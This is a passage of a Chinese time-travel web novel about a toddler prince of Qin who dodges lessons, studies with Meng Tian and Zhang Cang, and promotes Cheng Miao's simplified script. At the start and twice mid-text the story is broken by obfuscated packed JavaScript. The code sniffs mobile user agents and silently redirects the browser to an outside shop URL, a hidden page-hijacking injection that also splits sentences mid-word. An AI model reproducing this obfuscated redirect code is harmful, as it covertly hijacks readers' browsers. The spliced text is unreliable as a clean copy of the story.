l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124599|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜜语:“阿父,我和三兄心忧父王案牍劳形,特地做了一些新食,父王快趁热尝尝。” 嬴政没好气地把赵乐秦从自己腿上撕下来:“给寡人站好!” 嬴政已经下定决心收回赵乐秦的自由,越是天资聪颖的孩子越是应该学习! 赵乐秦乖巧地立定,只觉得面前已经有一个板子高高举起。 嬴政看着赵乐秦一脸无辜的样子,冷哼一声:“明日起,你给寡人老老实实开始学习!” 板子重重落下,赵乐秦恍若晴天霹雳。 赵乐秦结结巴巴地开口:“可是、父王,我尚未三岁。” 他还没嬴政腿高呢! 嬴政冷冷一笑,环视一圈庖厨:“是呢,你还尚未三岁。” 尚未三岁就敢说“人可以不学习”的话,尚未三岁把长他八岁的兄长都忽悠上头了,再不拴着点这尚未三岁,接下来莫不是还打算上房揭瓦。 赵乐秦垮着小脸,努力讨价还价:“父王,能不能等你统一六国之后我再学?不然我岂不是白学了。” 嬴政满意地看着丧眉搭眼的幼崽,觉得捏到了这竖子的命脉:“多学一点又没有坏处,你可见过谁为了等着穿新袍,便脱了旧衫赤条条乱跑的?给寡人安分地读书习武,莫要偷懒!” 赵乐秦眼见此路不通,眼睛一转,尝试激将:“父王,统一六国而已,你是不是未战先馁了?” 嬴政一眼就看穿了赵乐秦的小心思,嗤笑一声,伸手捏住赵乐秦的嘴,威胁道:“再聒噪,寡人就再给你加一门课。” 赵乐秦被捏成了鸭子嘴,只好眨着眼睛示意自己明白了。 嬴政松开这胆大包天的竖子,又扫了一眼在旁边缩成一团的三子高。 嬴政沉着脸,发出一声冷哼。 只见公子高被吓得又是一抖,一副后悔万分的样子。嬴政再看向赵乐秦,这竖子明显只是在苦恼没得玩了,一点没被他唬住。 嬴政内心无奈极了。他十几个孩子在他面前从来都是俯首帖耳,他敢确信,今日一遭,他的三子以后绝不敢再懈怠课业,唯独他这幼子,聪慧是一等一的,胆子更是一等一的。他就没见过这样的小孩。 嬴政维持着面沉如水的脸色,一言不发地拂袖而去。 庖厨众人连忙向着嬴政行礼,恭送秦王离去。 公子高长顿时舒一口气。他刚刚在旁边大气不敢喘,生怕父王抽他背书。 公子高用充满敬意的眼神看向赵乐秦:“阿弟,你竟然不怕父王!我刚刚都不敢说话。不过还好你没有哭闹,父王最讨厌我们哭闹了。” 赵乐秦蔫蔫地抬头看了一眼公子高:“三兄,真正的寒心不是大吵大闹。”他长叹一口气,内心的郁闷不可言说。 谁家好人不到三岁就上学?而且他该不会又和赵高绑在一起吧? 这边赵乐秦哭唧唧觉得未来无望,那边嬴政回宫后越想越恨。 寡人幼时身在异国他乡,颠沛流离,却勤学不辍。 这群儿女锦衣玉食,却整日不思进取。 他看还是课业太轻! …… 翌日,大秦公子公主们忽然接到了父王的传令,个个如遭雷击,恨不得抱头痛哭。 天塌了,为什么父王忽然开始关注学习? 14. 军事天才和数学笨蛋 当天下午,戳了嬴政肺管子的赵乐秦就被带到了蒙恬面前。 蒙恬看着矮墩墩的幼崽,粗犷的脸上浮现一丝茫然:“十八公子。” 赵乐秦乖巧地甜甜一笑:“蒙将军,父王让我来跟着你学习。” 蒙恬的虎眸微微瞪大。 虽然他不应该质疑王上的命令,但是吧,这么小一点的幼童,别说操练了,他连说话大点声都怕把人吓哭啊。 蒙恬打算先检查一下幼童的发育情况,他蹲下身子看着赵乐秦,努力放柔声音:“十八公子,臣可否按一按公子的骨节?” 他闷雷似的嗓音炸得赵乐秦头嗡嗡的,赵乐秦顿时乖乖点头,高高举起自己的短胳膊。 蒙恬情不自禁翘起嘴角:“莫怕,臣很快。”然后伸出大掌,从上到下捏了一遍赵乐秦的骨头,不住点头:“公子他日必长身八尺!” 赵乐秦咧嘴一笑,他可是从小科学锻炼呐。 蒙恬摸完骨头,看着才丁点儿大的幼崽,想了想道:“今日臣为公子说说战阵之事可好?” 赵乐秦眨眨眼,看来蒙恬是没招了,准备用兵法小故事先糊弄一节课……但这可是真上过战场的大秦将军讲故事呐! 赵乐秦嘿嘿一笑,连连点头同意。 “昔年长平之战,我军示弱后撤,诱赵军四十万追击至一处山隘。阵前掘壑深八尺,覆草伪饰。先以五千弩手,距敌二百步,进行三轮齐射——此乃□□最利贯甲之距。待赵军的前锋溃乱,两翼车阵自三里外驰出合围。距百步时,驷马战车突然变锥形阵,破其中军旗阵如裂帛……” 赵乐秦听到一连串数字,忽然眼前一亮。 他有办法把赵高换掉了。 蒙恬不知面前的幼崽为何突然兴奋起来,但也顾不上这一点点异常。 血肉糊脸不带眨眼的铁血将军忙得很,他一半的精力放在了回忆战事上,还得把里面跬步泥血的内容去掉,另一半的心思用在控制自己的嗓门上,费劲力气轻声细语,生怕吓坏了天真可爱的幼崽。 等他讲完故事,才发现赵乐秦已经蹲在了地上,手里捏着一根树枝,在地上勾勾画画。 “所以是诱敌深入,以逸待劳,然后出奇制胜?” 赵乐秦仰脸总结道。 蒙恬满脸震惊,都忘记控制自己的嗓门了:“是!” 其实赵乐秦也没干什么,他不过是根据故事内容画了一下示意图,然后概括了一下涉及的兵法。 换句话说,赵乐秦是进行了一波纸上谈兵。 巧合的是,刚刚蒙恬讲的故事里,那个“被大秦打的丢盔卸甲”的丑角儿,恰恰是这个以纸上谈兵的行为名垂青史、现在也是闻名各国的将二代笑话,赵括本人是也。 赵括,他的实际军事水平已经不可考,但是作为白起成名之战的虐菜对象,他的运气一定是板上钉钉的烂。白起是什么人呐?那可是一个生生把军功刷到顶的大秦传奇。赵括在新手村的第一站就遇到这样的敌人,只能说输得不冤。 按理来说,赵乐秦身为秦国公子,搞这种纸上谈兵的歪屁股行为,明明是见贤不思齐焉、见不贤而自向学也,那是需要好好搞一搞爱秦教育的。 但是,纸上谈兵和纸上谈兵之间也是有区别的。 二三十岁搞出这种行为只能成为笑柄,二三岁搞出这种行为,那就是天才! 蒙恬觉得自己悟了,他果然是没有领会到王上的深意。 王上一定是看出了十八公子的军事天赋,才会早早地把公子送来。 蒙恬当即拉着军事小天才开始深入,但是他很快发现,一但涉及具体数字,赵乐秦就表现得迷迷糊糊。 “我知道了!八百对十万,优势在我!”赵乐秦一脸求表扬。 蒙恬深深吸气,怎么会有人在兵事上是一点就透,但是在算术上水泼不进呢?! “十八公子,八百……比十万小的。” 一堂课下来,蒙恬又痛快又遗憾:“十八公子,臣以为您需要一个算术先生。” 赵乐秦立刻眼巴巴地恳请蒙恬:“能拜托蒙将军去向父王解释吗?我怕父王不相信我说的话。但父王素来信任蒙将军,必然会听得进去将军的谏言。” 蒙恬看着赵乐秦三分向学、三分担忧、四分依赖的眼神,当即慷慨应诺这个小小请求。 赵乐秦转过身,忧郁的小表情立刻消失。 妥了! 孩子这么明显的天赋和短板,家长难不成要把孩子耽搁了? 他就不信嬴政还会非得找擅长律法的赵高! 果不其然,嬴政听了蒙恬的汇报大喜过望。他本来计划让赵乐秦先学秦律,这下直接改了想法,开始为赵乐秦寻找算术老师。 于是,擅长算术的张苍便这么进入了嬴政的视线。 张苍今年还不到30岁,作为柱下史负责掌管宫中的各种文书档案,基本相当于一个图书管理员。在平均教育水平是胎教的时代,这位图书管理员的文化素养可以秒杀99%的人。最重要的是,此人博闻强识,还对乐律、历法、算学都颇有研究。 嬴政召来张苍,检验了一番他的水平后非常满意,当场就下令让张苍以后教赵乐秦算术。 赵乐秦收到消息,顿时满意地一笑。 他就知道这个办法有用! 自己的老师确定不是赵高啦,是张苍。 等等……张苍? 赵乐秦猛地抬头看向小明:“你再说一遍我的先生姓甚名谁?” 小明清晰地重复道:“公子的先生名为张苍,目前是柱下史。据说此人尤其擅长算术,还破通乐律、历法。” 赵乐秦战术后仰。 叫张苍,擅长算术、乐律和历法,担任秦国的柱下史。 这八成就是那个史记认证“肥白如瓠”的白胖葫芦,爱喝人奶、妻妾众多但活了104岁的传说啊! 史书记载,张苍在秦国的时候安安分分担任柱下史,后来秦朝战乱一起,他就获罪归逃了。接着,张苍直接在一众逐鹿英雄中,相中了彼时还在项羽叔父麾下干活的刘邦,趁着刘邦西进伐秦直接丝滑加入。 那你猜猜,张苍获罪是故意的还是不小心的? 后来张苍就跟着刘邦一直干到了北平侯、计相、淮南王相,然后又被吕雉任命为御史大夫,甚至因为活得够久还担任了文帝刘恒的丞相,一直到景帝时期才去世。在达官贵人的平均寿命也不过三、四十岁的时代,成功创造了享年104岁的奇迹。 十八岁就穿越,如今才两岁多的赵乐秦情不自禁地发出感叹: 好、好能活啊! 其实不止赵乐秦对张苍好奇,张苍也对自己的新学生期盼已久。 实在是赵乐秦太能折腾了,总是时不时就闹出一番动静。 不说前面的豆腐之类的消息,就说最近,赵乐秦拉着乐队走遍了他十六个哥姐的宫殿,几乎相当于按头安利了一通新歌。 而赵乐秦定歌单的时候,特地挑了一部分广场舞严选——好不好听另说,反正极其令人上头。 这些新歌迅速风靡开来,从宫内传到宫外,继而在整个咸阳上层引起了热议。 传统老派审美直接斥责其为异端,坚决维护自己的高雅的审美意趣,但是更多的人则是喜欢极了,听一遍就记住了这种朗朗上口、富有节奏的新风格。 争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124600|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 议就是热度,就这么吵着吵着,新曲子的消息渐渐传到了前朝,引得不少官吏好奇不已,张苍自是难以免俗。 “公子,您的先生到了。”小明忽然来报。 “这么快?”赵乐秦正对张苍稀罕得不行,干脆跑出来迎接。 对彼此都充满好奇的两人终于在门口见面了。 赵乐秦扬起乖巧的笑容,率先开口:“先生好。” 据说,每位老师都会遇到自己命中注定的笨蛋学生。而张苍老师的命运则更可怕些,他的笨蛋学生是装的。 张苍穿着素色的窄袖袍服,确实比常人要白一些,但体型还算匀称,此时还远不到史书记载白胖葫芦的程度。 他浑然不知黑芝麻汤圆的打算,一脸和蔼可亲:“十八公子安。不知公子想在何处学习算术?” 赵乐秦指了指昨天小明连夜腾出的书房,带着张苍走了进去。 书房内铺了一张大大的席子,上面放着一高一矮两个几案。 两人落座后,张苍先拿出了一捆小木棍给赵乐秦展示了一下,解释道:“这是算筹,来日臣会教导公子如何用算筹计算,但今日我们还用不到这么多。” 说着他取出了五根摆放在赵乐秦的几案上,然后把剩下的收了起来。 接着,张苍又拿出五片木牍,指着上面的数字说到:“这是今日我们要学的数字。”。 赵乐秦扫了一眼木牍,他目前只认识前面的一、二、三,但对照着也能猜到后面的数字,以他现在的记忆力,今儿这课就可以结束了。 但是不行,他现在是个数学笨蛋。 赵乐秦挂上痛苦面具。 半个时辰后,张苍也逐渐变了脸色。 ——怎会如此?!十八公子不是素有聪慧之名吗? 而赵乐秦一连演了小半个时辰,此刻更是后悔得面目狰狞。 ——他当初为什么这么想不开?! 赵乐秦丧着脸,眼巴巴地望向张苍:“先生,我们能今天就学到这里吗?我已经学会一到五了!” 张苍微微一僵,迅速调整着自己的表情,硬是用一种欣慰的语气赞叹道:“今日公子表现甚佳,尤其是四和五,比一、二、三难得多,公子也学会了。” 赵乐秦嘴角微抽,差点没绷住。 他连忙往后一滚,面朝下趴着憋笑。 赵乐秦抖了半天才闷声开口:“先生。你说有没有可能把文字简化一下?那样我学得也容易些。” 张苍正在怀疑自己是不是让幼童伤心了,听到询问赶紧开口道:“我有一个师弟,也是和公子一样的看法,觉得现在的字体太繁琐呢。” “啊?”赵乐秦一咕噜爬了起来,“他叫什么啊?我一定要去拜访这个知己!” 张苍看到赵乐秦恢复活力,心里顿时松了一口气。他一边收拾教具,一边笑着回答道:“我师弟名叫程邈,目前是个小吏。不过如果公子真的要见他,臣不得不先替他向您请罪了。” 赵乐秦还在思考这是不是那个创造隶书的官吏,听到这话奇怪地问道:“他怎么了?” 张苍苦笑:“我师弟敏慧绝伦,但他性情刚直,常常取怨同僚上官而不自知。” 赵乐秦挠挠头,如果程邈真的是能简化文字的那个大书法家,大不了他出钱养着当门客嘛! 赵乐秦向张苍打听了程邈上职的地方,决心明天去找这个程邈看看,万一被他挖到真的呢! 小明出门送走张苍,一回头发现他家公子在榻上盘腿坐着,面色怏怏地托着腮,忧郁得好像一朵蘑菇。 小蘑菇叹了口气,只觉得未来的日子黯淡无光。 “造孽啊!” 15. 离统一文字到底还有多久? 公子出宫虽然不需要报给嬴政,但仍然有规定的流程。小明算好人手,去卫尉寺提交了出行申请,很快取回了出宫的令牌。 所幸程邈上职的官署并不远,赵乐秦感觉马车坐了没多久便到了目的地。 此刻屋内的竹简堆积如山,一个老官吏正跪坐在主座,明显面带愁色。他面前排了一个长队,都是一些年轻的官吏。 这些官吏臂弯中揽着满抱简策,正在排队上前汇报工作。 小明打听完消息回来,道:“排在第三个,肤色有些黑的就是程邈。” 赵乐秦看着程邈快轮到了,干脆说道:“我们稍微等等吧。” 刚说完,赵乐秦脑子里突然闪过张苍提前为他师弟的找补。 ——得罪人而不自知? 赵乐秦顿时有了新想法,嘿嘿一笑:“小明,我们靠近点,听一听他们在说什么。” 小明二话不说,当即抱着赵乐秦走到窗边。那窗正对着老官吏的坐处,却因青竹枝叶交错,能将两人身形掩得严严实实。 小明顿时获得十八公子一个赞赏的眼神。 程邈已经排到了第二,他前面那个官吏正神色恭敬地汇报着。 “令史大人容禀。下吏今日已抄录《田律》三章。预计明日午时可成编,诣官呈请大人核阅。” 坐在上首的老官吏翻阅了一下竹简,欣慰地点点头。 汇报的官吏得了肯定,又说了一通“全赖上官指点”云云,然后才抱起竹简离去。 接着便轮到了身后的程邈。 赵乐秦悄悄扒着竹叶,瞪大了眼看去。 那老官吏抬头,见程邈抱着几卷竹简,默不作声往案上一放,便开口问道:“程邈,今日所务如何?” 程邈眼皮一掀,看了一眼上官,言简意赅答道:“录了《田律》,四章。”然后便又陷入沉默。 老史令的脸色当即就像便秘一样,草草翻了一遍程邈的竹简,赶紧挥手让他走。 赵乐秦看到这一幕心里直乐,捂着嘴咕叽咕叽笑了。 怪不得这人嫌现在的字麻烦,他连委婉一点说话都嫌麻烦啊。 一开口就像在挑衅,一答话就像在反驳,一沉默就像在走神。幸亏程邈没客套,不然配上那个冷峻的脸色,指不定他的上官以为他在大开嘲讽呢。 赵乐秦觉得自己差不多可以确定程邈的身份了。 就这种说话做事噎死人的风格,难怪以后会得罪了他大爹呢。 以后是会入狱十年是吧? 伟大的十八公子提前来救你了! · 程邈走到门口便被赵乐秦拦住了,他疑惑地望向这个看上去就出身富贵的幼童。 赵乐秦对着程邈咧嘴一笑,三言两语说明来意。 程邈一言不发,陷入沉默。 是的,这是难得真正懂他的人。 大多数人都会说着“祖宗之法不可变”之类的话,一边否认着文字的演变,一边用“异类”的眼神看着他。 哪怕他们也觉得字确实是难学、难写了点,但是大家都是这样的,凭什么你就要改呢?你又是个什么牌面上的人物? 相比之下,十八公子不仅认同他的观点,而且比他还激进。 “我觉得你可以再大胆一点,为什么不能把文字简化成固定笔画的组合呢?”十八公子用最干净的眼睛说着最凶残的话,“最好把常用的文字的笔画能简少到十画上下?” 另外,十八公子还是他目前所见身份最高、极其贵重的贵人,连他都听说不少十八公子深受王上宠爱的逸事。 但是,十八公子今年还不到三岁。 程邈艰难地消化着。 哪怕十八公子确实口齿清晰、思维敏捷、逻辑缜密,是他生平仅见的神童,但他现在还没有自己腿高。 程邈沉默不语。 他有了一个不到三岁的知己。 “你现在有做出什么简化的字吗?” 赵乐秦丝毫不知道程邈丰富的内心戏,希望看看程邈的进度。 程邈一点头,转身就走。 赵乐秦看着程邈放在这时堪称无礼的行为,下意识抬头和小明对视了一眼。 哇哦,张良好有先见之明啊。 赵乐秦有些无奈地挠挠头,耐心地等着程邈。 不一会儿,程邈拿回一卷又大又沉的竹简。 小明非常有眼色地接过沉重的竹简,为赵乐秦展开。 赵乐秦兴奋地看去。 呃,他可能有点文盲。 赵乐秦尴尬地点了一下头,努力不动声色道:“你来给我讲讲吧。” 程邈虽然仍是惜字如金,但总算张开了嘴,在赵乐秦期待的眼神中开始讲解。 赵乐秦听了一会儿明白了。 程邈先是搜罗了“水”字从甲骨文开始到现在的篆书所有的形体,梳理了“水”字的变化脉络,然后破圆为方、变曲为直,把篆书的高度象形、勾连、圆转,变为隶书的左中右分列、横向取势。 简化曲线、断开笔触、创造笔画、改变笔势、重组结构…… 就这样,他把“水”字从一个描绘水流形态的图案,变成了一个由独立、方直的笔画按照新法则组合而成的符号。 赵乐秦看着竹简上已经是隶书的“水”字,呱唧呱唧拍手。 “大善!有理有据,轻便易写。那——能不能也简化一点其他的字?” 程邈看着赵乐秦纯良的微笑,被这个要求噎得不行。 赵乐秦拍拍小明,小明会意地把他抱得高了一点。 赵乐秦伸出手拍了拍程邈的肩膀:“要不要从了我?只要你能简化文字,我按照你上官的俸禄给你发岁禄,宫内的藏书随便你借阅,不想和人交谈就不用理会。” 赵乐秦说着微微一笑:“不要着急拒绝。把你的竹简给我,我今日就能把它直接呈给我父王看。” 程邈嘴巴微张,冷峻的表情变得呆呆的。 他忽然觉得十八公子的想法也不是那么激进。 · 赵乐秦拿走了程邈的竹简,直奔咸阳宫。 “父王——看看我给您带来了什么好东西——” 嬴政听到赵乐秦的声音,一抬头,看到赵乐秦扛着半个他高的巨大竹简奔来,顿时笑了。 嬴政瞥了一眼要上前帮忙侍从,那侍从看懂了嬴政的示意,立刻忍着笑退下。 虽然赵乐秦有些疑惑为什么没人来搭把手,但是精力旺盛的幼崽也不在乎这点距离,他扛着竹简吭哧吭哧地翻过门槛,然后抱着竹简快走几步,咣当一下砸在了嬴政的几案上。 在赵乐秦冲着几案跑来时,旁边的侍从便眼疾手快地收起漆杯、墨水,发现自己预判成功长舒一口气。 嬴政见状,干脆把笔也递给侍从,成功避免报废一身衣服。 看着赵乐秦又是忘掉所有烦恼、明媚开朗的样子,嬴政心里微哂。 他十八子这胆子真是天生的,他的三子现在还绕着咸阳宫走呢。 嬴政微微挑眉道:“怎么,十八公子找到什么宝贝了?” 赵乐秦伸手直接把嬴政面前的奏疏拿开,把自己搬来的竹简推到他面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124601|196004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前。 赵乐秦圆圆的小脸上此刻满是诚挚。 “阿父,我知道您每日都得批阅小山那么高的奏疏。奏疏里面的字难认得很,您还得劳神费力地亲书答诏。我就想,能不能让文字简化一些呢?这样您处理政务的时候就轻松啦!” 赵乐秦说着,爪子啪得拍上竹简,竹简应声展开,哗啦一下斜斜地摊在嬴政的几案上。 桌面上居中对分、严丝合缝的规整,顷刻间乱了章法,看得嬴政眉心微跳。 “然后,我刚好遇到了一个叫程邈的小吏!看!他把水字简化得好写很多。” 赵乐秦叉腰仰头,眼底都是得意。 “父王未来是要统一六国的,到时候下令让所有人都写这种简单的字,您便不用如此劳累啦!” 嬴政看着幼子一脸骄傲的样子,摩挲了一下手指,还是没忍住,伸手掐了一把赵乐秦颤巍巍的脸蛋。 赵乐秦惊叫一声,连连躲闪。 老登天天以大欺小,怎么又是这招。 嬴政一把抓住幼崽,恶狠狠挠了他一通,看着赵乐秦笑得上气不接下气,满意地悠悠松手。 赵乐秦重获自由,立刻窜出三四米远。 嬴政也不伸手去抓,反倒垂眸敛目,慢条斯理地将散乱的竹简一一扶正归位。 他就不信赵乐秦能忍住不凑过来。 嬴政把竹简整好,低头看起了赵乐秦带来的所谓“好东西”。 虽然他用脚指头想都知道赵乐秦是妄图偷懒,但幼子确实孝顺,不然怎么能注意到他每日批阅奏书很多呢? 况且赵乐秦有一点说的确实不错,他未来是要统一六国的,到了那时政务的数量怕不是要翻个五六倍,还真的需要简化的文字。 旁边赵乐秦瞧着嬴政似乎已经沉浸在竹简中了,又小心翼翼地靠近。 嬴政很快地读完,若有所思道:“写这竹简的人确实有大才。” 赵乐秦激动不已,生怕嬴政忽然想到“祖宗之法不可变”之类的屁话让简化字的进程受阻,开始疯狂夸夸。 嬴政好笑地看着赵乐秦不仅又自投罗网,还嘴里叭叭叭不带停的,从“好写”、“好记”,嚷嚷到“简化字能为秦王减轻负担”、“简化字帮助力老嬴家伟大梦想”、“简化字让秦再次伟大”,一口气数出了十几条不带重样的好处。 他伸手戳了一下赵乐秦的头:“前面还在好好说话,后面你都在胡言乱语什么?寡人看还是得给你加课。” 赵乐秦顺着嬴政的力道一歪,直接跟没骨头似的趴到嬴政腿上,仰着脸嘿嘿一笑:“那阿父同意搞简化字了?” 嬴政颔首,看着赵乐秦亮晶晶的眼神又解释道:“寡人待会儿把这人查一查,若程邈真有才,以后便让他专门负责这一事。十八公子可还满意?” 赵乐秦欢呼一声“父王万岁!”,然后往上窜两下,很给面子地主动送上自己的软豆腐脸,搂着嬴政使劲蹭了蹭:“阿父真好,阿父真是天下最好的阿父!” 嬴政任由赵乐秦在怀里蹭来蹭去,好一会儿才揪起来软乎乎的幼子,提醒道:“你是不是该去和蒙将军习武了?” 赵乐秦见好就收,乖乖起身:“我走啦!” 嬴政颔首赶人:“快去。” 赵乐秦一脸灿烂地离开了,恨不得仰天长笑。 他就知道勤政的始皇会心动! 更简化的字=更高的效率=更好的统治=更牛逼的功绩 而他, 更简化的字=更少的作业=更爽的生活=更自由的人生 老赢家,赢麻了!